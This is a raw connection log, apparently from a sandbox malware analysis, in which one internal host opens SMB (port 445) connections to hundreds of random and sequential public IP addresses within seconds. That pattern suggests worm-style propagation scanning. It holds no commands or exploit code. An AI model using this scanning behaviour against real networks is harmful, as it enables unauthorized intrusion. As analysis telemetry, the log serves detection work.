Jul 20, 2022 06:09:48.885534048 CEST	60936	445	192.168.2.6	176.241.42.132
Jul 20, 2022 06:09:48.886318922 CEST	60937	445	192.168.2.6	37.21.160.159
Jul 20, 2022 06:09:48.915951014 CEST	60938	445	192.168.2.6	178.159.42.155
Jul 20, 2022 06:09:48.944078922 CEST	445	60938	178.159.42.155	192.168.2.6
Jul 20, 2022 06:09:48.993356943 CEST	60831	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:49.009882927 CEST	60941	445	192.168.2.6	107.186.37.28
Jul 20, 2022 06:09:49.179018974 CEST	445	60941	107.186.37.28	192.168.2.6
Jul 20, 2022 06:09:49.179116011 CEST	60941	445	192.168.2.6	107.186.37.28
Jul 20, 2022 06:09:49.188565969 CEST	60941	445	192.168.2.6	107.186.37.28
Jul 20, 2022 06:09:49.279618979 CEST	60951	445	192.168.2.6	51.83.204.5
Jul 20, 2022 06:09:49.353986979 CEST	60952	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:49.357958078 CEST	445	60941	107.186.37.28	192.168.2.6
Jul 20, 2022 06:09:49.358263016 CEST	60941	445	192.168.2.6	107.186.37.28
Jul 20, 2022 06:09:49.446552992 CEST	60938	445	192.168.2.6	178.159.42.155
Jul 20, 2022 06:09:49.449192047 CEST	60960	445	192.168.2.6	36.25.242.252
Jul 20, 2022 06:09:49.465009928 CEST	60968	445	192.168.2.6	118.9.140.107
Jul 20, 2022 06:09:49.465452909 CEST	60969	445	192.168.2.6	131.92.131.239
Jul 20, 2022 06:09:49.474776983 CEST	445	60938	178.159.42.155	192.168.2.6
Jul 20, 2022 06:09:49.483202934 CEST	445	60952	163.191.136.1	192.168.2.6
Jul 20, 2022 06:09:49.483393908 CEST	60952	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:49.483730078 CEST	60952	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:49.496071100 CEST	60970	445	192.168.2.6	172.20.197.24
Jul 20, 2022 06:09:49.508894920 CEST	60974	445	192.168.2.6	109.37.132.137
Jul 20, 2022 06:09:49.528714895 CEST	445	60941	107.186.37.28	192.168.2.6
Jul 20, 2022 06:09:49.528876066 CEST	60941	445	192.168.2.6	107.186.37.28
Jul 20, 2022 06:09:49.590662956 CEST	60981	445	192.168.2.6	223.135.13.4
Jul 20, 2022 06:09:49.615629911 CEST	60988	445	192.168.2.6	183.177.9.232
Jul 20, 2022 06:09:49.615799904 CEST	60989	445	192.168.2.6	221.128.134.100
Jul 20, 2022 06:09:49.615802050 CEST	60992	445	192.168.2.6	171.109.253.187
Jul 20, 2022 06:09:49.615817070 CEST	60993	445	192.168.2.6	72.232.123.73
Jul 20, 2022 06:09:49.616034031 CEST	61000	445	192.168.2.6	198.13.209.253
Jul 20, 2022 06:09:49.616097927 CEST	61002	445	192.168.2.6	137.100.133.143
Jul 20, 2022 06:09:49.616523027 CEST	61021	445	192.168.2.6	30.179.67.190
Jul 20, 2022 06:09:49.616554022 CEST	61022	445	192.168.2.6	167.173.106.37
Jul 20, 2022 06:09:49.616630077 CEST	61025	445	192.168.2.6	51.17.251.48
Jul 20, 2022 06:09:49.673393965 CEST	61029	445	192.168.2.6	106.203.11.187
Jul 20, 2022 06:09:49.673489094 CEST	61030	445	192.168.2.6	190.221.210.105
Jul 20, 2022 06:09:49.673705101 CEST	61036	445	192.168.2.6	7.33.147.184
Jul 20, 2022 06:09:49.673789978 CEST	61037	445	192.168.2.6	141.47.182.45
Jul 20, 2022 06:09:49.673877954 CEST	61038	445	192.168.2.6	205.185.58.248
Jul 20, 2022 06:09:49.698249102 CEST	445	60941	107.186.37.28	192.168.2.6
Jul 20, 2022 06:09:49.763637066 CEST	61040	445	192.168.2.6	107.186.37.29
Jul 20, 2022 06:09:49.840301991 CEST	445	60981	223.135.13.4	192.168.2.6
Jul 20, 2022 06:09:49.868443012 CEST	60952	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:49.932837009 CEST	445	61040	107.186.37.29	192.168.2.6
Jul 20, 2022 06:09:49.933024883 CEST	61040	445	192.168.2.6	107.186.37.29
Jul 20, 2022 06:09:49.950119019 CEST	61040	445	192.168.2.6	107.186.37.29
Jul 20, 2022 06:09:49.957081079 CEST	61043	445	192.168.2.6	107.186.37.29
Jul 20, 2022 06:09:49.962799072 CEST	61044	445	192.168.2.6	176.241.42.133
Jul 20, 2022 06:09:49.963262081 CEST	61045	445	192.168.2.6	37.21.160.160
Jul 20, 2022 06:09:50.034235954 CEST	61046	445	192.168.2.6	178.159.42.156
Jul 20, 2022 06:09:50.121356010 CEST	445	61040	107.186.37.29	192.168.2.6
Jul 20, 2022 06:09:50.121383905 CEST	445	61040	107.186.37.29	192.168.2.6
Jul 20, 2022 06:09:50.130312920 CEST	445	61043	107.186.37.29	192.168.2.6
Jul 20, 2022 06:09:50.130506992 CEST	61043	445	192.168.2.6	107.186.37.29
Jul 20, 2022 06:09:50.196650982 CEST	60831	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:50.230602026 CEST	61043	445	192.168.2.6	107.186.37.29
Jul 20, 2022 06:09:50.296278000 CEST	60952	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:50.352874994 CEST	60981	445	192.168.2.6	223.135.13.4
Jul 20, 2022 06:09:50.404232025 CEST	445	61043	107.186.37.29	192.168.2.6
Jul 20, 2022 06:09:50.446618080 CEST	61043	445	192.168.2.6	107.186.37.29
Jul 20, 2022 06:09:50.451695919 CEST	61043	445	192.168.2.6	107.186.37.29
Jul 20, 2022 06:09:50.454056025 CEST	61051	445	192.168.2.6	51.83.204.6
Jul 20, 2022 06:09:50.607429981 CEST	445	60981	223.135.13.4	192.168.2.6
Jul 20, 2022 06:09:50.631007910 CEST	445	61043	107.186.37.29	192.168.2.6
Jul 20, 2022 06:09:50.643042088 CEST	61043	445	192.168.2.6	107.186.37.29
Jul 20, 2022 06:09:50.645554066 CEST	61066	445	192.168.2.6	115.38.197.167
Jul 20, 2022 06:09:50.646192074 CEST	61067	445	192.168.2.6	217.219.241.84
Jul 20, 2022 06:09:50.656712055 CEST	61076	445	192.168.2.6	215.125.197.221
Jul 20, 2022 06:09:50.657177925 CEST	61077	445	192.168.2.6	39.199.201.180
Jul 20, 2022 06:09:50.667756081 CEST	61083	445	192.168.2.6	40.21.119.147
Jul 20, 2022 06:09:50.712296963 CEST	59130	445	192.168.2.6	186.65.200.170
Jul 20, 2022 06:09:50.745538950 CEST	61087	445	192.168.2.6	149.38.249.53
Jul 20, 2022 06:09:50.746491909 CEST	61089	445	192.168.2.6	36.217.209.136
Jul 20, 2022 06:09:50.747406960 CEST	61091	445	192.168.2.6	84.30.213.182
Jul 20, 2022 06:09:50.777910948 CEST	61108	445	192.168.2.6	28.61.31.151
Jul 20, 2022 06:09:50.778012991 CEST	61111	445	192.168.2.6	115.10.18.172
Jul 20, 2022 06:09:50.778214931 CEST	61118	445	192.168.2.6	170.154.8.16
Jul 20, 2022 06:09:50.778292894 CEST	61120	445	192.168.2.6	162.55.164.45
Jul 20, 2022 06:09:50.778374910 CEST	61122	445	192.168.2.6	6.153.194.104
Jul 20, 2022 06:09:50.778409958 CEST	61123	445	192.168.2.6	141.69.149.248
Jul 20, 2022 06:09:50.778621912 CEST	61130	445	192.168.2.6	68.66.27.156
Jul 20, 2022 06:09:50.816384077 CEST	445	61043	107.186.37.29	192.168.2.6
Jul 20, 2022 06:09:50.866023064 CEST	61136	445	192.168.2.6	169.57.214.127
Jul 20, 2022 06:09:50.866635084 CEST	61137	445	192.168.2.6	75.19.201.16
Jul 20, 2022 06:09:50.875737906 CEST	61143	445	192.168.2.6	76.96.155.57
Jul 20, 2022 06:09:50.876210928 CEST	61144	445	192.168.2.6	178.176.117.87
Jul 20, 2022 06:09:50.876694918 CEST	61145	445	192.168.2.6	187.241.81.233
Jul 20, 2022 06:09:51.026163101 CEST	61149	445	192.168.2.6	176.241.42.134
Jul 20, 2022 06:09:51.026787043 CEST	61150	445	192.168.2.6	37.21.160.161
Jul 20, 2022 06:09:51.118527889 CEST	60952	445	192.168.2.6	163.191.136.1
Jul 20, 2022 06:09:51.321726084 CEST	59174	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:51.509253979 CEST	59213	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:51.602369070 CEST	61151	445	192.168.2.6	178.159.42.157
Jul 20, 2022 06:09:51.629421949 CEST	445	61151	178.159.42.157	192.168.2.6
Jul 20, 2022 06:09:51.679409027 CEST	61152	445	192.168.2.6	51.83.204.7
Jul 20, 2022 06:09:51.825635910 CEST	61169	445	192.168.2.6	89.170.135.76
Jul 20, 2022 06:09:51.830502987 CEST	61175	445	192.168.2.6	68.143.140.60
Jul 20, 2022 06:09:51.831170082 CEST	61176	445	192.168.2.6	223.247.54.187
Jul 20, 2022 06:09:51.836282015 CEST	61183	445	192.168.2.6	137.206.222.89
Jul 20, 2022 06:09:51.836926937 CEST	61184	445	192.168.2.6	90.235.137.194
Jul 20, 2022 06:09:51.992440939 CEST	61191	445	192.168.2.6	193.0.236.154
Jul 20, 2022 06:09:51.993365049 CEST	61193	445	192.168.2.6	206.234.228.65
Jul 20, 2022 06:09:52.033387899 CEST	61209	445	192.168.2.6	115.172.24.81
Jul 20, 2022 06:09:52.033564091 CEST	61212	445	192.168.2.6	179.38.0.116
Jul 20, 2022 06:09:52.033814907 CEST	61219	445	192.168.2.6	91.243.125.222
Jul 20, 2022 06:09:52.033922911 CEST	61221	445	192.168.2.6	89.67.28.152
Jul 20, 2022 06:09:52.034018993 CEST	61223	445	192.168.2.6	203.218.9.222
Jul 20, 2022 06:09:52.034086943 CEST	61224	445	192.168.2.6	23.204.96.47
Jul 20, 2022 06:09:52.034333944 CEST	61231	445	192.168.2.6	175.131.121.50
Jul 20, 2022 06:09:52.034531116 CEST	61236	445	192.168.2.6	80.31.213.17
Jul 20, 2022 06:09:52.128029108 CEST	61239	445	192.168.2.6	37.21.160.162
Jul 20, 2022 06:09:52.128510952 CEST	61240	445	192.168.2.6	176.241.42.135
Jul 20, 2022 06:09:52.130227089 CEST	61243	445	192.168.2.6	159.93.250.222
Jul 20, 2022 06:09:52.130739927 CEST	61244	445	192.168.2.6	80.216.250.112
Jul 20, 2022 06:09:52.131371021 CEST	61245	445	192.168.2.6	199.218.185.169
Jul 20, 2022 06:09:52.141366959 CEST	61252	445	192.168.2.6	121.43.189.91
Jul 20, 2022 06:09:52.141855955 CEST	61253	445	192.168.2.6	116.178.197.36
Jul 20, 2022 06:09:52.180507898 CEST	445	61240	176.241.42.135	192.168.2.6
Jul 20, 2022 06:09:52.321897984 CEST	61151	445	192.168.2.6	178.159.42.157
Jul 20, 2022 06:09:52.349021912 CEST	445	61151	178.159.42.157	192.168.2.6
Jul 20, 2022 06:09:52.612880945 CEST	445	60952	163.191.136.1	192.168.2.6
Jul 20, 2022 06:09:52.743710041 CEST	61240	445	192.168.2.6	176.241.42.135
Jul 20, 2022 06:09:52.744983912 CEST	60831	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:52.794986963 CEST	445	61240	176.241.42.135	192.168.2.6
Jul 20, 2022 06:09:53.009372950 CEST	61151	445	192.168.2.6	178.159.42.157
Jul 20, 2022 06:09:53.036588907 CEST	445	61151	178.159.42.157	192.168.2.6
Jul 20, 2022 06:09:53.320944071 CEST	61257	445	192.168.2.6	51.83.204.8
Jul 20, 2022 06:09:53.321621895 CEST	61258	445	192.168.2.6	178.159.42.158
Jul 20, 2022 06:09:53.343010902 CEST	61259	445	192.168.2.6	176.241.42.136
Jul 20, 2022 06:09:53.343672991 CEST	61260	445	192.168.2.6	37.21.160.163
Jul 20, 2022 06:09:53.350719929 CEST	61261	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:09:53.477741003 CEST	445	61261	163.191.136.2	192.168.2.6
Jul 20, 2022 06:09:53.477972984 CEST	61261	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:09:53.588279963 CEST	61261	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:09:53.630225897 CEST	61286	445	192.168.2.6	125.71.214.6
Jul 20, 2022 06:09:53.630283117 CEST	61288	445	192.168.2.6	203.205.223.132
Jul 20, 2022 06:09:53.630513906 CEST	61295	445	192.168.2.6	174.15.65.194
Jul 20, 2022 06:09:53.630722046 CEST	61301	445	192.168.2.6	125.30.182.1
Jul 20, 2022 06:09:53.630784988 CEST	61302	445	192.168.2.6	194.61.251.104
Jul 20, 2022 06:09:53.631009102 CEST	61309	445	192.168.2.6	134.223.188.66
Jul 20, 2022 06:09:53.631064892 CEST	61310	445	192.168.2.6	168.158.100.195
Jul 20, 2022 06:09:53.631491899 CEST	61323	445	192.168.2.6	5.222.101.210
Jul 20, 2022 06:09:53.631592989 CEST	61326	445	192.168.2.6	4.205.197.36
Jul 20, 2022 06:09:53.631742001 CEST	61330	445	192.168.2.6	198.51.44.66
Jul 20, 2022 06:09:53.631805897 CEST	61331	445	192.168.2.6	109.62.77.242
Jul 20, 2022 06:09:53.632034063 CEST	61338	445	192.168.2.6	120.98.226.240
Jul 20, 2022 06:09:53.632085085 CEST	61339	445	192.168.2.6	96.251.62.156
Jul 20, 2022 06:09:53.632261992 CEST	61344	445	192.168.2.6	222.160.107.34
Jul 20, 2022 06:09:53.632307053 CEST	61345	445	192.168.2.6	202.31.69.89
Jul 20, 2022 06:09:53.632498026 CEST	61350	445	192.168.2.6	47.132.186.129
Jul 20, 2022 06:09:53.632692099 CEST	61356	445	192.168.2.6	110.64.20.117
Jul 20, 2022 06:09:53.632793903 CEST	61358	445	192.168.2.6	95.142.70.67
Jul 20, 2022 06:09:53.632867098 CEST	61360	445	192.168.2.6	43.5.66.172
Jul 20, 2022 06:09:53.632945061 CEST	61362	445	192.168.2.6	156.113.223.180
Jul 20, 2022 06:09:53.661104918 CEST	61363	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:09:53.790927887 CEST	445	61363	163.191.136.2	192.168.2.6
Jul 20, 2022 06:09:53.791038036 CEST	61363	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:09:53.798974991 CEST	61363	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:09:53.882174969 CEST	61364	445	192.168.2.6	107.186.37.29
Jul 20, 2022 06:09:53.887290955 CEST	445	61301	125.30.182.1	192.168.2.6
Jul 20, 2022 06:09:54.051121950 CEST	445	61364	107.186.37.29	192.168.2.6
Jul 20, 2022 06:09:54.051317930 CEST	61364	445	192.168.2.6	107.186.37.29
Jul 20, 2022 06:09:54.057070017 CEST	61364	445	192.168.2.6	107.186.37.29
Jul 20, 2022 06:09:54.212543964 CEST	61363	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:09:54.212570906 CEST	61261	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:09:54.226011038 CEST	445	61364	107.186.37.29	192.168.2.6
Jul 20, 2022 06:09:54.226258039 CEST	61364	445	192.168.2.6	107.186.37.29
Jul 20, 2022 06:09:54.385544062 CEST	61365	445	192.168.2.6	178.159.42.159
Jul 20, 2022 06:09:54.386217117 CEST	61366	445	192.168.2.6	51.83.204.9
Jul 20, 2022 06:09:54.397562981 CEST	445	61364	107.186.37.29	192.168.2.6
Jul 20, 2022 06:09:54.401093006 CEST	61364	445	192.168.2.6	107.186.37.29
Jul 20, 2022 06:09:54.416717052 CEST	61369	445	192.168.2.6	37.21.160.164
Jul 20, 2022 06:09:54.416716099 CEST	61368	445	192.168.2.6	176.241.42.137
Jul 20, 2022 06:09:54.431344986 CEST	61301	445	192.168.2.6	125.30.182.1
Jul 20, 2022 06:09:54.570693970 CEST	445	61364	107.186.37.29	192.168.2.6
Jul 20, 2022 06:09:54.605346918 CEST	61379	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:54.638972998 CEST	61380	445	192.168.2.6	107.186.37.30
Jul 20, 2022 06:09:54.686414957 CEST	445	61301	125.30.182.1	192.168.2.6
Jul 20, 2022 06:09:54.712651968 CEST	61363	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:09:54.744806051 CEST	61381	445	192.168.2.6	201.129.166.41
Jul 20, 2022 06:09:54.746603966 CEST	61383	445	192.168.2.6	93.68.211.92
Jul 20, 2022 06:09:54.748234987 CEST	61385	445	192.168.2.6	153.88.184.78
Jul 20, 2022 06:09:54.809699059 CEST	445	61380	107.186.37.30	192.168.2.6
Jul 20, 2022 06:09:54.809920073 CEST	61380	445	192.168.2.6	107.186.37.30
Jul 20, 2022 06:09:54.827214956 CEST	61380	445	192.168.2.6	107.186.37.30
Jul 20, 2022 06:09:54.839593887 CEST	445	61379	186.65.200.1	192.168.2.6
Jul 20, 2022 06:09:54.839749098 CEST	61379	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:54.875478983 CEST	61392	445	192.168.2.6	122.167.198.202
Jul 20, 2022 06:09:54.875722885 CEST	61395	445	192.168.2.6	38.131.62.156
Jul 20, 2022 06:09:54.875885010 CEST	61406	445	192.168.2.6	117.167.118.213
Jul 20, 2022 06:09:54.875962973 CEST	61408	445	192.168.2.6	55.48.63.61
Jul 20, 2022 06:09:54.876075983 CEST	61412	445	192.168.2.6	112.78.181.123
Jul 20, 2022 06:09:54.876091957 CEST	61413	445	192.168.2.6	9.78.209.205
Jul 20, 2022 06:09:54.876305103 CEST	61419	445	192.168.2.6	26.96.86.59
Jul 20, 2022 06:09:54.876332045 CEST	61420	445	192.168.2.6	140.123.209.223
Jul 20, 2022 06:09:54.876544952 CEST	61426	445	192.168.2.6	44.230.62.101
Jul 20, 2022 06:09:54.876566887 CEST	61427	445	192.168.2.6	217.244.218.23
Jul 20, 2022 06:09:54.876758099 CEST	61432	445	192.168.2.6	209.169.203.130
Jul 20, 2022 06:09:54.876970053 CEST	61439	445	192.168.2.6	23.143.174.128
Jul 20, 2022 06:09:54.877032995 CEST	61441	445	192.168.2.6	223.16.121.116
Jul 20, 2022 06:09:54.877270937 CEST	61449	445	192.168.2.6	133.190.238.105
Jul 20, 2022 06:09:54.877454042 CEST	61455	445	192.168.2.6	57.235.119.243
Jul 20, 2022 06:09:54.877887011 CEST	61470	445	192.168.2.6	7.42.200.98
Jul 20, 2022 06:09:54.877948046 CEST	61472	445	192.168.2.6	123.181.247.181
Jul 20, 2022 06:09:54.893285036 CEST	61473	445	192.168.2.6	107.186.37.30
Jul 20, 2022 06:09:54.998231888 CEST	445	61380	107.186.37.30	192.168.2.6
Jul 20, 2022 06:09:54.998255968 CEST	445	61380	107.186.37.30	192.168.2.6
Jul 20, 2022 06:09:55.010375977 CEST	61261	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:09:55.063782930 CEST	445	61473	107.186.37.30	192.168.2.6
Jul 20, 2022 06:09:55.063901901 CEST	61473	445	192.168.2.6	107.186.37.30
Jul 20, 2022 06:09:55.064090967 CEST	61473	445	192.168.2.6	107.186.37.30
Jul 20, 2022 06:09:55.234963894 CEST	445	61473	107.186.37.30	192.168.2.6
Jul 20, 2022 06:09:55.246896029 CEST	61473	445	192.168.2.6	107.186.37.30
Jul 20, 2022 06:09:55.418502092 CEST	445	61473	107.186.37.30	192.168.2.6
Jul 20, 2022 06:09:55.418637037 CEST	61473	445	192.168.2.6	107.186.37.30
Jul 20, 2022 06:09:55.447470903 CEST	61475	445	192.168.2.6	178.159.42.160
Jul 20, 2022 06:09:55.447668076 CEST	61476	445	192.168.2.6	51.83.204.10
Jul 20, 2022 06:09:55.475653887 CEST	445	61475	178.159.42.160	192.168.2.6
Jul 20, 2022 06:09:55.475919008 CEST	61475	445	192.168.2.6	178.159.42.160
Jul 20, 2022 06:09:55.476054907 CEST	61475	445	192.168.2.6	178.159.42.160
Jul 20, 2022 06:09:55.476692915 CEST	61477	445	192.168.2.6	178.159.42.160
Jul 20, 2022 06:09:55.478703976 CEST	61478	445	192.168.2.6	37.21.160.165
Jul 20, 2022 06:09:55.478831053 CEST	61479	445	192.168.2.6	176.241.42.138
Jul 20, 2022 06:09:55.503542900 CEST	445	61475	178.159.42.160	192.168.2.6
Jul 20, 2022 06:09:55.503567934 CEST	445	61475	178.159.42.160	192.168.2.6
Jul 20, 2022 06:09:55.504190922 CEST	445	61477	178.159.42.160	192.168.2.6
Jul 20, 2022 06:09:55.504331112 CEST	61477	445	192.168.2.6	178.159.42.160
Jul 20, 2022 06:09:55.504410028 CEST	61477	445	192.168.2.6	178.159.42.160
Jul 20, 2022 06:09:55.509671926 CEST	61363	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:09:55.530774117 CEST	445	61479	176.241.42.138	192.168.2.6
Jul 20, 2022 06:09:55.533508062 CEST	445	61477	178.159.42.160	192.168.2.6
Jul 20, 2022 06:09:55.533740044 CEST	61477	445	192.168.2.6	178.159.42.160
Jul 20, 2022 06:09:55.561669111 CEST	445	61477	178.159.42.160	192.168.2.6
Jul 20, 2022 06:09:55.561888933 CEST	61477	445	192.168.2.6	178.159.42.160
Jul 20, 2022 06:09:55.589164972 CEST	445	61473	107.186.37.30	192.168.2.6
Jul 20, 2022 06:09:55.589513063 CEST	445	61477	178.159.42.160	192.168.2.6
Jul 20, 2022 06:09:55.619041920 CEST	61379	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:55.854412079 CEST	61490	445	192.168.2.6	46.159.164.253
Jul 20, 2022 06:09:55.854732037 CEST	61494	445	192.168.2.6	147.130.251.24
Jul 20, 2022 06:09:55.854899883 CEST	61496	445	192.168.2.6	81.251.104.231
Jul 20, 2022 06:09:55.979541063 CEST	61502	445	192.168.2.6	197.64.137.120
Jul 20, 2022 06:09:55.979991913 CEST	61504	445	192.168.2.6	122.206.5.238
Jul 20, 2022 06:09:55.980230093 CEST	61505	445	192.168.2.6	12.247.236.113
Jul 20, 2022 06:09:55.980602026 CEST	61507	445	192.168.2.6	115.74.186.134
Jul 20, 2022 06:09:55.981630087 CEST	61512	445	192.168.2.6	17.102.36.35
Jul 20, 2022 06:09:55.981802940 CEST	61513	445	192.168.2.6	114.242.109.106
Jul 20, 2022 06:09:55.982467890 CEST	61518	445	192.168.2.6	116.154.76.202
Jul 20, 2022 06:09:55.982892990 CEST	61521	445	192.168.2.6	162.128.8.29
Jul 20, 2022 06:09:55.983676910 CEST	61527	445	192.168.2.6	180.137.136.87
Jul 20, 2022 06:09:55.984317064 CEST	61532	445	192.168.2.6	199.146.68.77
Jul 20, 2022 06:09:55.984884977 CEST	61536	445	192.168.2.6	70.223.238.218
Jul 20, 2022 06:09:55.985660076 CEST	61545	445	192.168.2.6	5.25.32.85
Jul 20, 2022 06:09:55.986128092 CEST	61550	445	192.168.2.6	191.63.115.167
Jul 20, 2022 06:09:55.987477064 CEST	61564	445	192.168.2.6	209.182.212.24
Jul 20, 2022 06:09:55.988171101 CEST	61573	445	192.168.2.6	86.114.251.74
Jul 20, 2022 06:09:55.988548040 CEST	61577	445	192.168.2.6	221.120.229.175
Jul 20, 2022 06:09:55.988787889 CEST	61580	445	192.168.2.6	181.241.22.23
Jul 20, 2022 06:09:56.119054079 CEST	61479	445	192.168.2.6	176.241.42.138
Jul 20, 2022 06:09:56.172605038 CEST	445	61479	176.241.42.138	192.168.2.6
Jul 20, 2022 06:09:56.202337980 CEST	445	61550	191.63.115.167	192.168.2.6
Jul 20, 2022 06:09:56.322158098 CEST	61379	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:56.525886059 CEST	61583	445	192.168.2.6	51.83.204.11
Jul 20, 2022 06:09:56.556917906 CEST	61584	445	192.168.2.6	176.241.42.139
Jul 20, 2022 06:09:56.557008028 CEST	61585	445	192.168.2.6	37.21.160.166
Jul 20, 2022 06:09:56.608089924 CEST	445	61261	163.191.136.2	192.168.2.6
Jul 20, 2022 06:09:56.658370018 CEST	445	61585	37.21.160.166	192.168.2.6
Jul 20, 2022 06:09:56.712805986 CEST	61550	445	192.168.2.6	191.63.115.167
Jul 20, 2022 06:09:56.921246052 CEST	445	61363	163.191.136.2	192.168.2.6
Jul 20, 2022 06:09:56.929205894 CEST	445	61550	191.63.115.167	192.168.2.6
Jul 20, 2022 06:09:56.979655981 CEST	61601	445	192.168.2.6	43.76.57.114
Jul 20, 2022 06:09:56.979849100 CEST	61605	445	192.168.2.6	28.35.150.166
Jul 20, 2022 06:09:57.104276896 CEST	61609	445	192.168.2.6	111.182.47.171
Jul 20, 2022 06:09:57.104593992 CEST	61614	445	192.168.2.6	210.34.67.103
Jul 20, 2022 06:09:57.104862928 CEST	61620	445	192.168.2.6	66.47.182.191
Jul 20, 2022 06:09:57.105094910 CEST	61624	445	192.168.2.6	222.13.169.174
Jul 20, 2022 06:09:57.105499983 CEST	61634	445	192.168.2.6	108.241.131.63
Jul 20, 2022 06:09:57.105669975 CEST	61637	445	192.168.2.6	176.230.170.69
Jul 20, 2022 06:09:57.106313944 CEST	61651	445	192.168.2.6	37.61.103.8
Jul 20, 2022 06:09:57.106724977 CEST	61661	445	192.168.2.6	18.42.232.70
Jul 20, 2022 06:09:57.106980085 CEST	61666	445	192.168.2.6	169.82.138.79
Jul 20, 2022 06:09:57.107090950 CEST	61668	445	192.168.2.6	67.202.243.210
Jul 20, 2022 06:09:57.107388020 CEST	61672	445	192.168.2.6	217.241.101.210
Jul 20, 2022 06:09:57.107503891 CEST	61674	445	192.168.2.6	102.219.90.154
Jul 20, 2022 06:09:57.107558012 CEST	61675	445	192.168.2.6	183.244.14.4
Jul 20, 2022 06:09:57.107728004 CEST	61678	445	192.168.2.6	71.216.167.155
Jul 20, 2022 06:09:57.107963085 CEST	61682	445	192.168.2.6	214.205.225.149
Jul 20, 2022 06:09:57.108098030 CEST	61683	445	192.168.2.6	83.11.125.250
Jul 20, 2022 06:09:57.108371019 CEST	61687	445	192.168.2.6	194.166.190.203
Jul 20, 2022 06:09:57.165970087 CEST	61585	445	192.168.2.6	37.21.160.166
Jul 20, 2022 06:09:57.267391920 CEST	445	61585	37.21.160.166	192.168.2.6
Jul 20, 2022 06:09:57.556610107 CEST	60831	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:57.588512897 CEST	61690	445	192.168.2.6	51.83.204.12
Jul 20, 2022 06:09:57.619496107 CEST	61691	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:09:57.635584116 CEST	61692	445	192.168.2.6	37.21.160.167
Jul 20, 2022 06:09:57.635699034 CEST	61693	445	192.168.2.6	176.241.42.140
Jul 20, 2022 06:09:57.653451920 CEST	445	61691	134.220.131.5	192.168.2.6
Jul 20, 2022 06:09:57.653568983 CEST	61691	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:09:57.654110909 CEST	61694	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:09:57.688256025 CEST	445	61694	134.220.131.5	192.168.2.6
Jul 20, 2022 06:09:57.688373089 CEST	61694	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:09:57.712886095 CEST	61379	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:57.962923050 CEST	61691	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:09:57.994190931 CEST	61694	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:09:58.104208946 CEST	61712	445	192.168.2.6	112.194.224.232
Jul 20, 2022 06:09:58.104352951 CEST	61714	445	192.168.2.6	133.62.87.84
Jul 20, 2022 06:09:58.212913036 CEST	61691	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:09:58.228857040 CEST	61717	445	192.168.2.6	62.64.237.14
Jul 20, 2022 06:09:58.228879929 CEST	61716	445	192.168.2.6	102.170.111.178
Jul 20, 2022 06:09:58.229078054 CEST	61721	445	192.168.2.6	114.179.171.244
Jul 20, 2022 06:09:58.229413033 CEST	61729	445	192.168.2.6	6.138.30.220
Jul 20, 2022 06:09:58.229826927 CEST	61740	445	192.168.2.6	54.44.203.197
Jul 20, 2022 06:09:58.229834080 CEST	61739	445	192.168.2.6	203.18.167.231
Jul 20, 2022 06:09:58.230096102 CEST	61746	445	192.168.2.6	36.6.170.182
Jul 20, 2022 06:09:58.230287075 CEST	61749	445	192.168.2.6	80.161.90.198
Jul 20, 2022 06:09:58.230402946 CEST	61753	445	192.168.2.6	193.120.252.64
Jul 20, 2022 06:09:58.230634928 CEST	61758	445	192.168.2.6	58.234.226.174
Jul 20, 2022 06:09:58.230823994 CEST	61762	445	192.168.2.6	116.5.126.208
Jul 20, 2022 06:09:58.230884075 CEST	61764	445	192.168.2.6	96.220.134.26
Jul 20, 2022 06:09:58.230993032 CEST	61767	445	192.168.2.6	9.71.24.198
Jul 20, 2022 06:09:58.231102943 CEST	61769	445	192.168.2.6	211.80.165.126
Jul 20, 2022 06:09:58.231189013 CEST	61771	445	192.168.2.6	120.145.15.19
Jul 20, 2022 06:09:58.231369019 CEST	61774	445	192.168.2.6	168.177.244.126
Jul 20, 2022 06:09:58.232203960 CEST	61796	445	192.168.2.6	112.41.220.116
Jul 20, 2022 06:09:58.244231939 CEST	61694	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:09:58.604243040 CEST	61798	445	192.168.2.6	178.159.42.160
Jul 20, 2022 06:09:58.604401112 CEST	61799	445	192.168.2.6	107.186.37.30
Jul 20, 2022 06:09:58.632908106 CEST	445	61798	178.159.42.160	192.168.2.6
Jul 20, 2022 06:09:58.633054018 CEST	61798	445	192.168.2.6	178.159.42.160
Jul 20, 2022 06:09:58.633114100 CEST	61798	445	192.168.2.6	178.159.42.160
Jul 20, 2022 06:09:58.661365986 CEST	445	61798	178.159.42.160	192.168.2.6
Jul 20, 2022 06:09:58.661611080 CEST	61798	445	192.168.2.6	178.159.42.160
Jul 20, 2022 06:09:58.666474104 CEST	61801	445	192.168.2.6	51.83.204.13
